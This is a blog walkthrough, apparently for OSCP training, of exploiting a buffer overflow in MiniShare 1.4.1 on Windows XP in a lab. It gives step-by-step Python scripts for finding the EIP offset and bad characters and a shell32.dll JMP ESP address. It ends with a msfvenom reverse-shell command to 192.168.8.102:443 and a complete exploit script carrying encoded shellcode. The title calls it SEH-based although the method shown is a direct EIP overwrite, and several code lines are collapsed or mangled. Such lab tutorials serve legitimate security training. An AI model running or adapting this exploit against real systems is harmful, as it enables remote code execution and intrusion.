OSCP SEH based buffer overflow – Part 2

bof20
All Blogbuffer overflow

In last blog we have discussed about bit and bites about this bufferoverflow lets do this in practical way

Execute minishare 1.4.1.exe in windows XP  and attach it to Immunity Debugger or From option “Debug” select Restart.

Step-3.1

Create unique pattern of length 4000 msf-pattern_create -l 4000

bof6

Step-3.2

Modify the script by adding unique pattern in palce of 4000 A  

—————————————————————————-

#!/usr/bin/python import socket 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( '192.168.8.105', 80)) buffer = "GET "
buffer += “Aa0Aa1Aa2Aa3Aa4Aa5Aa6A...........”(omited due to large output) buffer += " HTTP/1.1\r\n\r\n" s.send(buffer)
s.close()

——————————————————————————

Note the value of EIP register when application crashes

bof7

EIP 36684335

Step-3.3

Calculate the EIP offset address  using msf-pattern_offset

bof8

This gives us the valuable information that the register starts at 1787 characters and is 4 

bytes long meaning that this is where we will add the return address.

1787 is the EIP exact address, lets confirm.

Step-3.3.1

Modify the script  by sending 1787 As , 4 Bs and 1000 Cs , to confirm that we have EIP and ESP under our control

The EIP should be over written with Bs and ESP with Cs

Execute minishare 1.4.1.exe in windows XP  and attach it to Immunity Debugger or From option “Debug” select Restart.

#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( '192.168.8.105', 80)) buffer = "GET " buffer += ‘A’ * 1787 buffer += ‘BBBB’ buffer += ‘C’ * 1000 buffer += " HTTP/1.1\r\n\r\n" s.send(buffer)
s.close()

We can see;

ESP all Cs 

EIP all Bs

EBX all As

We have complete control on registers

bof9

Step-4

We need to find bad charater which can cause our shell to break,we do not want to include them in our script.

Execute minishare 1.4.1.exe in windows XP  and attach it to Immunity Debugger or From option “Debug” select Restart.

Edit script to include bad characters and send them to ESP register

#!/usr/bin/python import socket 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( '192.168.8.105', 80))
buffer = "GET " buffer += 'A' * 1787 buffer += 'BBBB'
buffer +=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer += " HTTP/1.1\r\n\r\n" s.send(buffer)
s.close()

To identify bad characters a,fter sending bad charater script examin in Immunity debugger ,select ESP and click on Follow in Dump

Bof10
boff

With close observation we can see “0d” is missing and all values after are 0 (zeros), indicating its a bad char

Execute minishare 1.4 in windows XP and attach it to Immunity Debugger 

Lets remove first “0d” in script and send it again to find more bad chars

After sending bad charater script in Immunity debugger ,select ESP and click on Follow in Dump

Bof12

We can see all the characters are written perfectly till FE

Note: Its observed through many tries 0a is also acting as a bad character, we will remove it also from our exploit.

As now bad characters are identified we can create revershell exploit using msfvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f  c –e x86/ shikata_ga_nai -b “\x00\x0a\x0d” but before that we need follow step-5 

============================================

Step-5

Execute minishare 1.4.1.exe in windows XP  and attach it to Immunity Debugger or From option “Debug” select Restart.

This step is the most important, in this step we select executable module to locate our JMP ESP address.

bof13

There are some importnat points we must consider while picking the executable module.

1-Avoid any module (exe or dll)  that contains a zero byte \x00 in its base address

In our case minshare.exe contains \x00 in its base address,so we cannot select minishare.exe. (string terminator in the C programming language, and usually has the effect of breaking an exploit when it is included within a buffer)

Bof14

2-Avoid the line feed and carriage return characters \x0a and \x0d.

3-Prefer to use DLLs that come with the application,because these addresses don’t change with different Operating System Service packs or Language versions.

4-Ideal  DLLs are the one in which SafeSEH and ASLR are set to false.ASLR and safeSEH are defense mechanisum against BOF.

ASLR (Address    Space    Layout    RandomizaBon) , SafeSEH (Safe Execution Handler)

Back to minishare, in our case there are no additional DLLs as part of MiniShare, we will have to settle for using one of the Windows DLLs that are loaded. Its best to pick fairly “major” DLLs that are less likely to change as a result of hotfixes. Use either shell32.dll or user32.dll.  For our  POC we will select shell32.dll.

To view which modules have ASLR or SafeSEH set to false use “!mona modules” command in Immunity Debugger

bof15

We can see shell32.dll has ASLR set to false

View executable modules in Immunity Debugger and look for shell32.dll, as its ASLR value is set to false.

Bof16

Double click on it and find its JMP ESP value

Bof17
Bof16 1

Note this value 7CB32D69

Note:we are running a x86 processor, little endian reads the reverse order, so we need reverse the 4 bytes in the return address. 7CB32D69 becomes \x69\x2D\xB3\x7C

Finally we got the value (\x69\x2D\xB3\x7C) to put in EPI register.

Step-6

Lets develop exploit using msfvenom excluding bad characters and send it to our victim. At the same time start listener on port 443 on attacker machines to reveive reverse shell

bof19
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f  c –e x86/ shikata_ga_nai -b "\x00\x0a\x0d" 

Final exploit script

Note:Add a few NOP instructions in multiples of 8 (buffer = “A” * 1787 + “\x69\x2D\xB3\x7C” + “\x90” * 16 + shellcode) to the start of shellcode. This will resolve issues that can be caused when certain types of encoded shellcode is run. NOPs are essentially No Operation instructions that do nothing. Adding a number of NOPs into the right place in an exploit (like just before shellcode) can help improve exploit stabilityand will help code to land on the right place.

Final-exploit.py

-------------------------------------------------------------------------------------------------------
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = ("\xd9\xc2\xd9\x74\x24\xf4\x5a\xbe\xa9\xd9\xc9\xdf\x33\xc9\xb1"
"\x52\x31\x72\x17\x83\xc2\x04\x03\xdb\xca\x2b\x2a\xe7\x05\x29"
"\xd5\x17\xd6\x4e\x5f\xf2\xe7\x4e\x3b\x77\x57\x7f\x4f\xd5\x54"
"\xf4\x1d\xcd\xef\x78\x8a\xe2\x58\x36\xec\xcd\x59\x6b\xcc\x4c"
"\xda\x76\x01\xae\xe3\xb8\x54\xaf\x24\xa4\x95\xfd\xfd\xa2\x08"
"\x11\x89\xff\x90\x9a\xc1\xee\x90\x7f\x91\x11\xb0\x2e\xa9\x4b"
"\x12\xd1\x7e\xe0\x1b\xc9\x63\xcd\xd2\x62\x57\xb9\xe4\xa2\xa9"
"\x42\x4a\x8b\x05\xb1\x92\xcc\xa2\x2a\xe1\x24\xd1\xd7\xf2\xf3"
"\xab\x03\x76\xe7\x0c\xc7\x20\xc3\xad\x04\xb6\x80\xa2\xe1\xbc" "\xce\xa6\xf4\x11\x65\xd2\x7d\x94\xa9\x52\xc5\xb3\x6d\x3e\x9d" "\xda\x34\x9a\x70\xe2\x26\x45\x2c\x46\x2d\x68\x39\xfb\x6c\xe5"
"\x8e\x36\x8e\xf5\x98\x41\xfd\xc7\x07\xfa\x69\x64\xcf\x24\x6e"
"\x8b\xfa\x91\xe0\x72\x05\xe2\x29\xb1\x51\xb2\x41\x10\xda\x59" "\x91\x9d\x0f\xcd\xc1\x31\xe0\xae\xb1\xf1\x50\x47\xdb\xfd\x8f"
"\x77\xe4\xd7\xa7\x12\x1f\xb0\x07\x4a\x17\x26\xe0\x89\x27\xa7"
"\x4b\x04\xc1\xcd\xbb\x41\x5a\x7a\x25\xc8\x10\x1b\xaa\xc6\x5d"
"\x1b\x20\xe5\xa2\xd2\xc1\x80\xb0\x83\x21\xdf\xea\x02\x3d\xf5"
"\x82\xc9\xac\x92\x52\x87\xcc\x0c\x05\xc0\x23\x45\xc3\xfc\x1a"
"\xff\xf1\xfc\xfb\x38\xb1\xda\x3f\xc6\x38\xae\x04\xec\x2a\x76"
"\x84\xa8\x1e\x26\xd3\x66\xc8\x80\x8d\xc8\xa2\x5a\x61\x83\x22"
"\x1a\x49\x14\x34\x23\x84\xe2\xd8\x92\x71\xb3\xe7\x1b\x16\x33"
"\x90\x41\x86\xbc\x4b\xc2\xb6\xf6\xd1\x63\x5f\x5f\x80\x31\x02" "\x60\x7f\x75\x3b\xe3\x75\x06\xb8\xfb\xfc\x03\x84\xbb\xed\x79"
"\x95\x29\x11\x2d\x96\x7b") #shell32.dll jmp esp buffer = "A" * 1787 + "\x69\x2D\xB3\x7C" + "\x90" * 16 + shellcode
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.8.105', 80))
    s.send('GET ' + buffer + '\r\n\r\n')     print s.recv(1024)     print "\nDone!." except:

We get the revershell (sometimes it takes 1 minute to pop the shell,so be patience)

bof20

References:

  • https://people.eecs.berkeley.edu/~dawnsong/teaching/f12-cs161/lectures/lec-4-sw-vulsdefense.pdf
  • http://mpentest.blogspot.com/2012/09/exploit-writing-buffer-overflows.html http://www.thegreycorner.com/2010/01/beginning-stack-based-buffer-overflow.html

Once Again Thanks Najam For this Awesome Blog.

Leave a Reply

Your email address will not be published. Required fields are marked *